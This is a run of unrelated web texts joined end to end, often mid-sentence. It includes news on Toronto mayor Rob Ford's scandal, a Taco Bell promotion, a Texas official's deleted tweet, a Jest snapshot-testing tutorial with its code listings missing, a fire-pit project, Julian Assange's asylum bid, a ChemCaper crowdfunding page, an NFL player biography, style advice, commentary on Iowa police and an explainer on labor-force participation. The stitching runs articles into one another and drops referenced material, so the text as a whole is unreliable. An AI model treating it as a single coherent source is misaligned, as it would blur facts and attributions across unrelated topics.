"Most likely, if it is released at all, it's going to be in the context of a disclosure application so the lawyers can get a handle on it and see if it is of any relevance to the defence of their clients," he told CTV News Channel.
Nordheimer is also expected to rule sometime this week on whether the redacted sections of a document police used to gain a search warrant for Ford’s friend, Alexander Lisi, can be made public.
Earlier this month, several hundred pages of the document were released, but many other portions were blacked out in order to protect “innocent third parties.” The documents suggested close ties between Ford and Lisi, who is now charged with extortion for allegedly trying to obtain the so-called crack video.
Police believe Lisi threatened two men, Mohamed Siad and Liban Siyad, both alleged gang members, in an effort to obtain the video after the Toronto Star and U.S. website Gawker both reported on its existence.
Siad and Siyad were arrested in the police raids that stemmed from Project Traveller, during which police also seized a hard drive on which they found the video as a deleted file.
Wiretaps from the same investigation could also be made public soon, if efforts by media lawyers to have them released are successful.
Meanwhile, Toronto City Council is set to debate a motion Wednesday put forward by one-time Ford ally Coun. Denzil Minnan-Wong that asks council to petition the province to remove the mayor if he does not step down.
Minnan-Wong,who was until recently one of Ford’s biggest supporters, says the city needs to carry on with its work unencumbered by the ongoing scandal involving the mayor.
The councillor wants Ford to co-operate with Toronto police and apologize for lying about smoking crack cocaine.
“This is all I think easy stuff,” Minnan-Wong told CP24. “And take a leave of absence.”
But Ford’s brother Doug Ford accuses the councillor of playing politics in preparation for a political run.
“You see folks like Denzil Minnan-Wong, the biggest opportunist down here, why doesn’t he come out and tell the people the truth?” Doug Ford said. “Why doesn’t he just come out and say, ‘I’m running for mayor and this is the reason I’m doing this,’ that’s what he should do.”
Minnan-Wong hasn’t announced he’ll be running for mayor, but he didn’t deny he’s interested in the job.
On Tuesday, CP24’s Stephen LeDrew asked Minnan-Wong: “Are you seriously considering running for mayor?”
“Yes,” the councillor replied.
After denying the existence of the crack video, Ford recently admitted that he had smoked crack cocaine, likely in one of his “drunken stupors.”
Another video has since surfaced showing the mayor using threatening and profane language. Ford said that when it was shot, he was “extremely inebriated.”
The mayor denies being addicted to drugs and has vowed to stay in office until voters can decide his fate in the 2014 municipal election.
On Tuesday, Ford shook hands and posed for pictures with residents who lined up at City Hall to purchase a bobblehead doll of him that was created to raise funds for United Way. He sat at a table and signed bobbleheads as people filed past.
He told reporters that he has begun working out, while his brother, Coun. Doug Ford, said the mayor is “getting the support he needs.”
The mayor said Wednesday’s council proceedings will be a “rumble in the jungle,” referencing the famous fight between Muhammad Ali and George Foreman in 1974. Ford has designated Minnan-Wong’s motion a “key item,” meaning it will be debated first thing Wednesday morning.
With a report from CTV’s Scott LightfootTaco Bell is once again challenging your dipping skills with the return of their fan-favorite Rolled Chicken Tacos.
The limited-time offering features marinated, all white-meat shredded chicken and taco ingredients rolled up in a corn tortilla and deep-fried. Dipping sauces available include Spicy Ranch, Guacamole and Nacho Cheese.
A 2-pack is priced at $1.99 and includes one dipping sauce, while a 4-pack is priced at $3.99 and includes your choice of two dipping sauces. A combo featuring four Rolled Chicken Tacos, two dipping sauces, and a drink is available for $4.99.
Finally, participating locations are also offering a Taco Duo 12-pack, which features six Rolled Chicken Tacos, six crunchy tacos and three dipping sauces. Prices vary from $10.99 to $12.99 depending on your location.
Prices and availability may vary by location.
Image – Taco BellSid Miller’s Twitter feed is filled with polls showing Donald Trump ahead, links to hacked emails published by WikiLeaks and other anti-Hillary Clinton tweets. | AP Photo Texas elected official calls Clinton a 'c---' The Texas Agriculture Commissioner has since deleted the tweet, claimed he was hacked, deleted the claim of being hacked, issued an apology for the original tweet and blamed his staff.
Texas Agriculture Commissioner Sid Miller on Tuesday posted, then quickly deleted, a tweet in which he referred to Hillary Clinton as a “c---.”
The tweet from Miller’s account posted what appeared to be the results of a recent Pennsylvania poll, but swapped out Clinton’s name for the misogynist epithet.
Story Continued Below
“PENNSYLVANIA: NEW AUTO ALLIANCE POLL,” he wrote. “TRUMP 44 C*** 43”
He added: “Go Trump Go!”
The post was retweeted at least five times before it disappeared from Miller’s page.
Miller, who serves as part of Donald Trump’s Agricultural Advisory Committee, and his office then scrambled, offering two contradicting explanations for the tweet and saying it was a staffer, not Miller, who used the epithet.
First, the account tweeted: “@MillerForTexas HAS BEEN HACKED.The disgusting re-tweet has been removed and we have changed all account passwords. Be advised.” That tweet was almost immediately deleted.
Then came a statement, also via the Twitter account: “The campaign was retweeting information on Twitter today and inadvertently retweeted a tweet that they were not aware contained a derogatory term. The tweet was taken down as soon as possible. Commissioner Miller finds the term vulgar and offensive and apologizes to anyone who may have seen it.”
That statement is not entirely accurate. The tweet was not retweeted, but manually re-posted by Miller’s own account. It appears the text of the tweet was first posted by a pro-Trump, alt-right account, @TheRickyVaughn, who also used the epithet to describe Clinton. Miller, however, modified the item to add "Go Trump Go!"
Reached by phone, Miller said the remark was accidentally “retweeted” by a staffer while he was in a meeting.
“They found some interesting poll numbers that included some derogatory language that I would never use,” Miller said. “When I found out about that, I told them to take it down immediately.”
When pressed on the fact that the Tweet was original — not a retweet — Miller said he wasn’t sure what happened, but surmised that his staff may have copied the language from elsewhere.
“I can assure you I did not post that,” he said. “Maybe the staffers took a screen shot and posted that.”
He added: “I’m sorry to anybody out there. That’s not something I would condone or knowingly do.”
Last week, Miller mocked Clinton on Twitter for not posting her own tweets: “#CrookedHillary needs a dozen people to check her tweets,” he wrote, linking to a leaked email that showed Clinton staffers discussing a tweet. “My thoughts are my own. Healthy as a bull here. #wikileaks.”
Republican Texas Gov. Greg Abbott was not amused. “The language is reprehensible and is an embarrassment,” he told the Texas Tribune. “No true Texas gentleman would ever talk this way.”
Miller’s Twitter feed is filled with polls showing Trump ahead, links to hacked emails published by WikiLeaks and other anti-Clinton tweets. He describes himself on the page, which is not verified, as: “Deplorable, Champion Calf Roper, 12th Commissioner of Texas Agriculture.” His official campaign website from the 2014 campaign links to the Twitter account.
Miller, who was elected agriculture |
167 Sitka USA 426 Apra Harbur Guam GUM 540 Pago Pago ASM 539 Kwajalein MHL 513 Midway Island UMI 523 Wellington Harbour NZL 221
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RedditFirst lets take a look at the presentational component that we are going to be testing, AccountListItem. This is exactly what it sounds like, an item in a list of Accounts. We pass a few props and it and it renders, thats it. No actions here.
react-test-renderer is the tool that Jest uses to create the actual snapshots of your components, more on that in a bit.
There are other javascript testing tools out there: Mocha, Jasmine and QUnit are all viable options. I like Jest for the following reasons:
Before we get started I am going to assume that if you are interested in testing your React app, that you have a React app. If that is the case, you may need to add just a few dependencies in order to run snapshot tests Jest. I use Yarn as my package manager, if you use NPM the commands are similar.
Props are passed into the component at line 4, we have some dynamic CSS on line 6 and we export on line 14. Very straightforward.
AccountListItem.test.js
Now let’s take a look at our test file. For more detail on how Jets identifies test files within your project, checkout the Jest docs or my article from the top of this post.
AccountListItem.test.js
So here we import our component at line 2 and react-test-renderer at line 3. We build some test props on lines 5–15 and our test begins on 17. This test is very basic, the most interesting part is line 21 where we export our component snapshot.
The snapshot creates an actual file in your project. These files should be committed alongside your code and should be included in pull requests.
Here is the file tree and the actual snapshot file that react-test-render spit out:
jest created snapshot dir and file
AccountListItem.test.js.snap
When the test runs for the first time, this file is created. When the test is run in subsequent test executions, the output is compared to the snapshot. If it does not match, then either Jest just found a bug in your code OR the implementation has changed and the test needs to be updated.
If Jest found a bug, then you need to examine the logic that changed. If the implementation changed and the test needs to be updated, you need to run: jest — updateSnapshot. This will take updated snapshots of ALL of your failing component tests.
Jest will also warn you if you have obsolete(duplicate or old) snapshots and you can easily delete them from the terminal simply by typing u when prompted.
Events
The test above is very simple, no events involved. If you wanted to say test a hover event for proper CSS, you could simulate the hover by adding the following line: tree.props.onMouseEnter();
I added this as an afterthought, just to give you the gist of how you may add DOM eventing to your tests. Insert your event here, its that simple.Repurpose a Washing Machine Drum into a Fire Pit
Warm yourself around your own fire pit
You will first need to remove the agitator
The tyre rim works effectively as a base for our fire pit
Now you have your own fire pit
If you've always wanted an outdoor fire pit but but don't like the hefty price tag that accompany portable fire pits, then here is the project for you. My husband did this for us several years ago and I'm happy to say our fire pit is still going strong. It throws out a huge amount of heat and is great when we have barbeques or parties.What's even better is that this is an upcycled project, turning a normally discarded item into something useful. Which is not only great because it's reducing landfill, but you can make this fire pit for free or very low cost.We already had a broken washing machine to use. If not you could try getting one from verge collection, a salvage yard or the rubbish tip.You will need to remove the drum from the washer, but this is not easily removable from all machines. Ours came from a top loader. You first need to pull out the agitator and search for the bolt in the center.Photo:BrokenSphere, Wikimedia CommonThen put on a wrench on the bolt and use a hammer or mallet to loosen it. This is the hard part, it may take a lot of persistence to remove. Now you can take out the bolt. Once this is done you need to get rid of the complete motor and spinning equipment. This usually comes away through the bottom of the machine. The drum should come out now quite easily.Ours is fairly rustic and sits on an old tyre rim while I have seen others propped up on bricks. You could even make legs and weld them to the base.We also use an iron plate to act like a lid. This makes the wood burn slower and provides a cooking surface.Story highlights Police serve a notice to Julian Assange to turn himself in
The WikiLeaks founder decides not to comply with the order
Police say he is in violation of his bail
His supporters fear that the United States would try to extradite him
Julian Assange will not honor a notice served to him by British police requiring him to turn himself in to authorities, a representative for the WikiLeaks founder said Friday.
Assange will remain inside the Ecuadorian Embassy in London, where he has been since applying for asylum in the South American country on June 19.
"This should not be considered any sign of disrespect," said Susan Benn of the Julian Assange defense fund, who read the statement.
Benn said the United States had empaneled a grand jury in its goal to press charges against Assange. Turning himself in would have started a process that would end with Assange being extradited to the United States, she said.
"It is clear that there is a plan to bring Julian Assange to the United States," she said.
JUST WATCHED Assange resisting extradition Replay More Videos... MUST WATCH Assange resisting extradition 01:00
JUST WATCHED Will Assange achieve asylum? Replay More Videos... MUST WATCH Will Assange achieve asylum? 02:34
JUST WATCHED Friend says Assange 'running for justice' Replay More Videos... MUST WATCH Friend says Assange 'running for justice' 08:43
JUST WATCHED London police: Assange will be arrested Replay More Videos... MUST WATCH London police: Assange will be arrested 02:03
Citing what she called cruel, inhumane and degrading treatment of the alleged source of leaked documents, Pfc. Bradley Manning, Benn said that sending Assange to the United States "would be a violation of his rights."
Police say Assange is in violation of his bail by staying at the embassy, and that ignoring the notice to turn himself in is a further violation.
Assange is seeking to avoid being sent to Sweden to avoid allegations of rape and other sex crimes. He has been arrested in absentia, Swedish prosecutors have said.
He was arrested in Britain in 2010 because Swedish authorities wanted to question him about the allegations, which he denies. His bail conditions included staying every night at the home of a supporter outside of London.
Two women have accused Assange of sexually assaulting them in August 2010, when he was visiting Sweden in connection with a WikiLeaks release of internal U.S. military documents. He was arrested in Britain that December and has been fighting extradition ever since, saying the allegations are retribution for his organization's disclosure of American secrets.
WikiLeaks, which facilitates the anonymous leaking of secret information, has published about 250,000 confidential U.S. diplomatic cables, causing embarrassment to the government and others. It also has published hundreds of thousands of classified U.S. documents relating to the conflicts in Iraq and Afghanistan.
Assange sought refuge at the embassy five days after the Supreme Court of the United Kingdom dismissed a bid to reopen his appeal of the decision to send him to Sweden -- his last option in British courts.
It is unclear when Ecuador will make a decision on Assange's asylum request.“I reject the right of the government to choose my friends and enemies for me.” – Bill Kelsey
Indeed, Bill, it makes no sense to allow the government to do so.
But the situation is much worse than such nonsensical allowance by the people at large. From time immemorial, the reigning myth of rule has been that the rulers provide a quid pro quo: in exchange for the people’s submission and payment of tribute, the rulers protect the people from the enemies who lurk “out there.” The promise was often unfulfilled, however. The lord of the manor might well flee into his castle, leaving the peasants outside the walls to suffer whatever outrages an invader chose to wreak on them. Or the lord might haul them off to a distant war in which they had no real interest, merely to satisfy the lord’s feudal obligation to the baron or duke just above him in the feudal pecking order.
Most important, however, is the sheer fact that the ordinary people’s most dangerous enemy, the one by far the most likely to plunder and abuse them, was their own impudent lord, the selfsame “nobleman” who forbade them to leave their place of birth or to engage in a variety of tasks and pleasures they might prefer—that is, the man who held and exploited them in a condition of serfdom.
Today as always, the “bad guys” from whom the government purports to protect the people are as a rule not a particularly serious threat to the people’s enjoyment of their life, liberty, and property in their own country. And when the threat is real, it is usually the product of provocation by the presumptive protector who rules the people at home. That people allow this rapacious government to decide one’s friends and enemies abroad (or at home, for that matter) is indeed preposterous. The root cause, however, is now ideological; it is the people’s nationalism, which causes them to stand idly by—or, in many cases, to cheer wildly—as their true enemy, the one who plunders and oppresses them every hour of every day, goes on its merry way of creating and supposedly combating foreign devils in order to frighten the people into submission, loyalty, and continued payment of tribute to their de facto lord of the manor.The Vulture section of New York Magazine recently reported that the successful comic book series Locke and Key, published by IDW, may not make it's way to the big screen- but the small screen! According to the recent report, director/producer Steven Spielberg and Fringe's Kurtzman/Orci have plans to adaptto television with a little help fromwriter/executive producer Josh Friedman. The rights to amovie and TV adaptation were purchased back in 2008 by Dimension, and now it seems that the series may finally get off the ground. Backed by 20th Century Fox TV and co-produced by Dreamworks TV, it will be written and produced by Josh Friedman.If you haven't readand you are a fan of the horror comic genre, then this is absolutely one series that you should be reading! The comic centers around three kids who discover that the New England Mansion which they live has mystical properties. Different doors within the home have the ability to transport them to mystical places and bestow upon them magical powers. IDW has made a very cool trailer that could very well be theget it?) to get you to pick up this series! Check it out below and let us know what you think! Have you read? Do you enjoy the series? Are you looking forward to a possible television adaptation?== TEASER ==Roub Idyum is a Moon Being and our first hero of ChemCaper! Young, charming, and pampered, Roub complains about how troublesome everything is, but will do what he needs to anyway. He’s a real family fellow, always with a saying or two from his parents to share.
Roub loves his Petticles, and the ladies. However, somehow, the ladies don’t like him very much in return. Maybe it’s because he’s an all-rounder? (No, seriously, he’s ROUND all over.) Demanding immediate answers and explanations from the world, it’s just like Roub to charge forth into worlds he knows nothing of to discover the culprit behind sinister happenings.
Sal-T represents Sodium Chloride and possesses shades of Earth's blue oceans because sea water is where Sodium Chloride is primarily extracted. It has a strong and graceful wave-like tail, and just like a wave, looks harmless until it comes crashing down, leaving one in a world of pain. Sal-T's tail also serves another purpose: a seat for it when walking becomes a little too boring. It's exuberantly social and loves the company of beings, just don't step on its tail (literally and figuratively) unless having salt thrown in your eyes and being smacked by that powerful tail sounds like fun.
Elcium represents Calcium. Much like the benefits of Calcium on human growth in the real world, Elcium starts off shy and docile. As it thrives through its experience and growth, Elcium quickly develops into a dominant force in a being's Petticle repertoire. Elcium possesses the appearance of a white, soft marshmallow but looks can be deceiving. One would immediately stand (or float, depending where in ChemCaper a being's from) corrected upon touching its solid exterior. As Elcium grows, its armour and characteristic mace-like tail become stronger with it.
ChemCaper - Camp Ungku Town Theme:
ChemCaper - Cinematic Track 3:
We’re letting you touch base (no, it’s not corrosive, but we sure hope it’ll melt your ears off anyway) with a few tracks from ChemCaper, composed by industry legend – Norihiko Hibino! Start reacting if you wish to get the original soundtracks by the man himself!
ChemCaper is the brainchild of a bunch of teachers who felt they needed new channels to engage their students more effectively. Starting out with a casual conversation in 2012 between Anne Tham (the mind behind this) and some former students, the project has since grown, mostly involving active teachers in their day jobs. Anne, has been teaching for almost three decades and has made making learning more engaging her calling card in her two international schools and multiple learning centres.
So the biggest pro(-ton) of ChemCaper is exactly that: kids enjoy playing the game - and that’s what really matters. It’s about building a bond between the subject and students; creating chemistry with Chemistry! The more engaging and interactive the learning process, the easier it is for kids to recall information (far cooler lessons than mere textbooks!). The dream is for kids to explore Chemistry – without the true nature of the learning actually registering. Shhhh... Ultimately, it would be great to hear them exclaim in class: “Wait a minute, I know this!”
We are here to reinvent education, bringing that change with The World’s First Chemistry RPG! The fun gameplay is the cake, with the education as ion-icing - subtle, yet effective.
“I have been tracking ChemCaper since I saw it at GDC. I’m very passionate about education in gaming. I would like to get a copy of this game!” - Jesse Merriam, Lead Producer of Microsoft Studio
“This sounds fantastic… I’m looking forward to trying it out when released!” - Mark DeLoura, Senior Advisor for Digital Media at the White House Office of Science and Technology Policy
"ChemCaper is educational the way Civilization is educational. It won't teach you the subject directly; instead, fun is given top priority and the educational foundation on which it's based just permeates every aspect of the game. It's an education-laced supplement to life rather than an attempt at digitizing textbooks for those kids and their play-a-ma-jigs." - Lena LeRay, Senior Editor of Indiegames.com
"An intriguing game with some fantastic looking artwork and core gameplay that looks set to bridge the gap between education and entertainment, making something that really does make learning fun." - Alpha Beta Gamer
"I am about an hour into the game and the impression so far is very positive. The game is very polished with great music and graphics. I also love the crafting system, which is cleverly named and designed after the periodic table. The battle is done through real time turn based which reminds me of Chrono Trigger.
I haven't encountered any bugs and it has been running solid 60FPS (according to the counter upper left) on my iPhone 6S Plus." - Dacalo, beta tester.
"This really feels like one of the most polished iOS games I have played, and it's only the beta." - Jsrco, beta tester from USA.
We've also been featured and displayed at Google I/O 2015 in San Francisco!
No such thing as too much of a good thing right? Have a go at these add-ons/goodies/ and know that we love you for it!
By "in-game credit" we mean that your name will be acknowledged in the game's Credits, and not that you'll receive in-game premium currency (which we don’t even have in ChemCaper). We have no intention to offer any in-app purchases.
Thank you for bringing this to our attention and we apologize for the confusion.
In-game credit under “Credits”
In-game credit under “Credits”
In-game credit under “Credits”
In-game credit under “Credits”
In-game credit under “Credits”
In-game credit under “Credits”
*ChemCaper card set includes 36 collectable cards. In-game credit under “Credits”
*ChemCaper card set includes 36 collectable cards. In-game credit under “Credits”
*ChemCaper card set includes 36 collectable cards. In-game credit under “Credits”
*ChemCaper card set includes 36 collectable cards. In-game credit under “Credits”
*ChemCaper card set includes 36 collectable cards. In-game credit under “Credits”
*ChemCaper card set includes 36 collectable cards. In-game credit under “Credits”
In-game credit under “Credits”
In-game credit under “Credits”
In-game credit under “Credits”Josh Bullocks (born February 28, 1983) is an American football safety. He was drafted by the New Orleans Saints in the second round of the 2005 NFL Draft. He is the identical twin of fellow NFL safety Daniel Bullocks.
He played college football at Nebraska. Bullocks has also been a member of the Chicago Bears and Oakland Raiders. In January 2015, he joined the Omaha Beef of Champions Indoor Football as an assistant coach.[1]
Early years [ edit ]
Bullocks attended Hixson High School[2] in Chattanooga, Tennessee, along with his brother Daniel from 1997-2001. Josh and Daniel were both multi-sport standouts participating in track and field, as well as excelling in football. Josh played running back throughout his high school career while Daniel played quarterback. The Bullocks brothers led the Hixson Wildcats to four consecutive TSSAA football playoff appearances. Josh and Daniel were heavily recruited by several NCAA Division I schools including the University of Tennessee before deciding to attend the University of Nebraska–Lincoln. They graduated in 2001.
College career [ edit ]
Bullocks played college football at Nebraska, where he started 28 games in three seasons. He had ten interceptions and 49 tackles in 2003, when he was a finalist to win the Jim Thorpe Award.
Professional career [ edit ]
New Orleans Saints [ edit ]
Bullocks was drafted by the New Orleans Saints and played four seasons with the team. During that time, he appeared in 62 games (49 starts) and recorded 256 tackles, one sack, six interceptions and 24 pass deflections.
Chicago Bears [ edit ]
An unrestricted free agent in the 2009 offseason, Bullocks signed a one-year contract with the Chicago Bears that included $525,000 in guaranteed money. The move put Bullocks in the same division as his twin brother, Daniel, who played for the Detroit Lions before being released in the 2010 offseason.
Oakland Raiders [ edit ]
The Raiders signed Bullocks on August 15, 2011 after Hiram Eugene suffered a serious hip injury in the pre-season opener. He was waived on August 30.
NFL statistics [ edit ]
Year Team GP COMB TOTAL AST SACK FF FR FR YDS INT IR YDS AVG IR LNG TD PD 2005 NO 16 67 53 14 0.0 0 0 0 1 51 51 51 0 6 2006 NO 16 72 57 15 0.0 1 0 0 2 14 7 14 0 7 2007 NO 14 77 65 12 1.0 2 0 0 2 6 3 6 0 8 2008 NO 16 41 34 7 0.0 2 0 0 1 23 23 23 0 6 2009 CHI 12 23 19 4 0.0 0 0 0 0 0 0 0 0 0 2010 CHI 16 11 8 3 0.0 0 0 0 0 0 0 0 0 0 Career 90 291 236 55 1.0 5 0 0 6 94 16 51 0 27
[3]
Personal [ edit ]
Josh Bullocks is the identical twin brother of Daniel Bullocks, also a safety at the University of Nebraska, who was also drafted 40th overall when the Detroit Lions selected him in the 2006 NFL Draft. The two are cousins of U.S. Olympic gold medalist Evelyn Ashford.
Beginning in 2007, Bullocks and his brother have awarded a $5,000 scholarship to a Hixson High senior athlete. In order to be eligible the student must attend Hixson, be a senior, be an athlete, and write an essay.One thing I’ve noticed amongst peers, friends and mainly consultations is that when it comes to upgrading their style or improving themselves they’re often reluctant to embrace changes. Sometimes for myself it can be frustrating as they don’t always see the same potential that I see in themselves. In the past any frustration I’ve felt came from my own lack of understanding behind the root cause of their fear of change… limiting beliefs. In this article I want to explore how your own limiting beliefs could be holding you back from upgrading your style and how to overcome those beliefs.
In the past I’ve heard clients and friends that have asked for my help say “that’s not me, I don’t really wear that kind of thing”. Their issue is that they want to upgrade their style but still feel themselves, now if someone genuinely can back such a statement up then that is fair enough. However, a lot of the guys I’ve helped in the past don’t really know who ‘me’ is and they need to go past their limiting beliefs that they have in order to achieve their full potential.
All of us will have had some limiting beliefs in the past or still do in relation to particular things. When it comes to style quite often limiting beliefs will stem from growing up if you’ve been part of a group of friends that all dressed the same way then you’ll follow suit and dress the same as them in order to fit in, no one wants to be a social outcast right?
We’re constantly measuring ourselves against others and in todays society we’re always being compared and placed within social hierarchies. This leads people to generally dress safe they don’t like change and hold onto limiting beliefs. Now I’m not saying that everyone is a square but because of the nature of the way we live many people are reluctant to change they let negative emotions rule their life, live life the way you want and keep an open mind.
How to bury those limiting beliefs
Stepping out of your comfort zone can be.. well uncomfortable, but if you want to succeed in changing your image then you will have to at points push past that discomfort and take a leap.
Know thyself
Your inner beliefs and outer beliefs have to be congruent and in order for that to happen you have to know who you are as a person.
Try writing down the values and beliefs of who you want to become, if you’re quite self conscious and are worried of what other people may think of you then you may lack core confidence and seek feedback from others.
For example, if you wear something and 5 people say it doesn’t look right on you, you won’t like it, where as if you get compliments it becomes your favourite item.
When I was going through the process of changing my style I often got comments or remarks about being gay from girls and guys that I met out. That straight away would make me self conscious and doubt what I was wearing, I remember asking a girl once why she thought that and she mentioned that I was dressed well and just assumed I was gay. As I continued through my own journey I got the comments less and when I did get the comments they no longer bothered me. I had core confidence, at that point people used to recognise my style as my own and I started to hear the comments less.
Ultimate congruence comes from knowing you are and what you want to represent as a person regardless of what anybody says.
Style is self expression, if your vision of self comes from others then thats who will effect your style. When you have core confidence comments won’t hold you back, they’ll associate your style to you.
Remember to take it slow try different things one step at a time see what works and what doesn’t, master the basics first rather than throwing it all together.
Let us know what you think by commenting below.
If you want to keep up to date with the latest trends or check out our latest how-to’s, guides and top tips why not subscribe? You can subscribe by RSS here or subscribe by email by filling in your email address in the subscription box in the sidebar.Iowa Drug Cops, For The Win
December 12, 2016 (Fault Lines) — As Josh Kendrick pointed out, Iowa cops have a pretty tempestuous relationship with drugs. On the one hand, as we all know, drugs are bad, and practically anything is justified when the goal is to rid America of this terrible scourge.
But on the other hand, if our society’s drug problems were to disappear overnight, what would happen to Iowa law enforcement’s new and highly profitable revenue stream? The one that involves boarding helpless treasure galleons stopping people who violate traffic laws on the highway, manufacturing probable cause and plundering their cargo holds searching their cars for drugs, keeping any forfeitable assets found in the process?
Arr!
In a nutshell, when it comes to civil asset forfeiture and the War on Drugs, law enforcement’s incentives are pretty poorly structured. There’s a cruel irony to this, given that CAF was originally devised as a way to keep 1980s drug kingpins from getting away with the loot. If Fault Lines’ resident prosecutor, Andrew King, is to be believed, the practice still serves that purpose in many cases, even if the concept of a kingpin has degenerated a little over the years.
But as long as police get to keep what they confiscate, it’s hard to believe they want their drug interdiction efforts to be wholly successful. It’s not that honoring the Fourth Amendment isn’t a noble thing to do, but that there’s no money in it.
What really sucks is when the guy whose property you took beats the odds and successfully challenges you for his money back. This is what happened in Josh’s case: two professional poker players on their way out of Illinois after a tournament were subjected to an unconstitutional stop, had their car searched when a dog alerted off camera and were forced to surrender their $100,000 winnings after a state trooper found a milligram of marijuana. The cops ultimately had to return 90% of what they misappropriated.
Not only that, but on December 5, the state of Iowa elected to pay $60,000 to resolve the poker players’ § 1983 lawsuit. That’s no fun at all, even if it is the taxpayer who bears the burden of the settlement. What’s to be done? Well, if you’re a Des Moines cop and there’s a drug case you simply have to make, there’s always a traditional alternative to cutting the perp loose.
The Des Moines Police Department is four days into a voluminous effort to review hundreds of cases handled by two officers who resigned after officials said they planted evidence in a narcotics case last year. … Senior Police Officers Joshua Judge, 30, and Tyson Teut, 30, resigned Monday. [Police spokesman Paul] Parizek said that police department administrators learned of the tainted case Friday. He declined to specify how it came to police’s attention except for saying there was a “complaint.”
Damn. Alliteratively named cops are at a premium these days. And since it seems the department hires no other kind, how are they going to replace these guys? Were any other officers involved?
No other officers are accused of wrongdoing, Parizek said.
Phew. So what are they being investigated for? Parizek and the Polk County DA, whom the PD is keeping posted as they look into this, largely declined to say:
Judge and Teut, who were assigned to patrol duties, are believed to have planted evidence on a suspect before passing the case on to investigators, Parizek said. He said that a suspect in that 2015 case was arrested and that the case was adjudicated. He did not say what the outcome of that case was. He also didn’t identify the specific case in which evidence was planted, and Polk County Attorney John Sarcone did not return several messages seeking comment Tuesday.
Don’t overwhelm us with all that transparency, guys. At a press conference, Parizek was asked whether anyone was to blame for letting this case slip through the cracks back in 2015.
Parizek said that there was nothing to indicate anything was wrong while investigators were reviewing evidence in that 2015 drug case. “This was possible because we hire who we believe to be the best people and mature people, and they operate independently on the street,” Parizek said.
In true police-spokesman fashion, it’s tough to say what to make of this comment. It seems Parizek is trying to accomplish two somewhat contradictory things: a) deny anyone apart from Judge and Teut was responsible for what happened, while b) offering people who’ll ask what the department plans to do to keep this from happening again an obvious answer (i.e., increased oversight). Really, as spokesman-y deflections go, this one isn’t half bad; Ohio’s Steve Loomis could stand to learn a thing or two from the guys in Iowa.
This is literally all the information available so far. But that didn’t stop Parizek from patting himself and his fellow cops on the back for being so forthcoming:
It’s very, very rare that we discuss internal investigations before their completion. We feel that the public’s interest in keeping them informed into what’s happening here is very critical. We need to maintain their trust and part of that is being open about what is going on.
The interesting thing is that in addition to pounding home how transparent they’re being while offering little to no information and making ambiguous comments, Des Moines PD isn’t using best practices for police-misconduct investigations. Rather than rely on an outside investigator, DMPD is handling this one in-house. And because DA Sarcone declined to answer any questions, we don’t know what he plans to do about the “hundreds” of cases Judge and Teut were involved in that may be irrevocably tainted.
When a similar situation arose in Cambria County, PA after a local cop/drug addict looking to score used a hammer to break into his department’s evidence room, the DA cooperated with the county public defender to release people who were being held on charges filed by that officer. Presumably, Judge and Teut kept busy when they weren’t getting accused of planting evidence. Will Polk County work to modify their arrestees’ bonds? That remains to be seen.
The only thing clear about the latest murky scandal to come out of Iowa drug policing is that their track record of respect for people’s constitutional rights isn’t set to improve. Between getting plundered on the highway thanks to manufactured probable cause and getting dragged into court because of manufactured evidence, the Hawkeye State’s finest are working overtime to make visiting Iowa an unforgettable experience.
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TwitterLet’s talk about labor-force participation.
No, really.
For decades, this number slumbered quietly in the depths of the monthly jobs report from the US Bureau of Labor Statistics (BLS). Nobody paid it much attention. But of late—and particularly in the run-up to today’s Congressional election—it has become a key talking point for critics of president Barack Obama’s economic policies.
The chart does indeed look pretty ugly, with a decline since the late 1990s that becomes especially striking in the late 2000s. In econometric circles this is what’s known as a “frowny face.”
Actually that was a joke. It’s not really called a frowny face. But it might as well be. In September, the US labor participation rate fell to 62.7%, the lowest since the US economic malaise under president Jimmy Carter in the late 1970s.
That looks pretty bad. But to understand why this number is important, you have to understand what people think it says—and what it actually says.
Critics of Obama think it shows that his supposedly liberal policies are damaging the economy and prompting Americans to drop out of the job market en masse. They think it shows the Democratic neo-welfare state this president constructed is rewarding laziness by doling out government handouts. They think it somehow shows that the sharp decline in the US unemployment rate is a fraud.
But it doesn’t show these things. All it shows is that the labor force—the number of people either employed or “actively looking for work”—is a shrinking share of the US population. In absolute terms, the labor force could be shrinking, or it could just be growing more slowly than the population as a whole. So which is it?
Well, as the first of these small charts shows, the civilian population—that is to say, over-16s who aren’t in institutions such as prison or on active military duty—is growing at much the same rate as always. It reached 248.5 million in September, up roughly 1% from a year ago.
The second chart is the civilian labor force, going back to the late 1970s. It’s still growing, but growth has flattened out quite a bit over the last five years. Correspondingly (third chart), the number of people alive but not in the labor force is rising at an accelerating pace.
Why is this? The non-partisan Congressional Budget Office (CBO) suggests that there’s a pretty clear reason. “An unusually large number of people have stopped looking for work,” CBO analysts wrote in a broad-based analysis of the labor market published back in February (pdf).
So that means the critics of the administration are right, and people are dropping out of the labor force at an unprecedented pace? Not so fast. A lot of the people dropping out of the labor force are just, well, old. That’s because the demographic bulge known as the baby boom generation is aging out of the workforce.
You see this in the fourth chart, showing a sharp surge in people over 65 who are out of the labor force. There are roughly 37 million of them, and more than 50 million who are over 55.
The cumulative effect of all these people aging out of the work force is to lower the participation rate. The CBO says that roughly half of the three-percentage-point decline in labor-force participation since the end of 2007 is due to the aging of the workforce. (For the record, it’s not just the CBO. A range of other papers—here, here, and here for example—have come up with similar results. Of course, not everybody agrees.)
How the other half lives
So if half the fall in labor-force participation since the recession is demographic, what about the other half? Well, one percentage point of the decline is related to temporary factors related to the business cycle, the CBO says. That leaves half a percentage point to account for.
This is where the critics of Obama—to the extent that he actually is responsible for the slow pace of recovery—might appear to have a legitimate point. Some folks do appear to have dropped out of the workforce all together. The BLS counts a category of people called discouraged workers (fifth chart)—those who haven’t looked for a job in the past four weeks, specifically because they believe there aren’t any jobs for them. Even though they want work, these people aren’t counted as part of the labor force because they’re not actively looking.
And, indeed, years into the economic recovery, the number of discouraged workers remains high. This is related to “unusual aspects of the slow recovery that led workers to become discouraged and permanently drop out of the labor force,” wrote the CBO.
However, this may not be all that surprising, given the depth of the recession, which was preceded by the worst financial panic in nearly a century. And since 2010 the number of discouraged workers has been declining, a sign that the ongoing improvement in the economy is beginning to coax more workers back into employment.
Here’s another sign of that. Let’s look at the employment-to-population ratio. This is simply the share of the civilian population who have jobs. (As a reminder, labor-force participation is the share of the population who have jobs or are actively looking.) If you look at the overall data—the sixth chart—the falloff looks pretty drastic and the recovery pretty anemic.
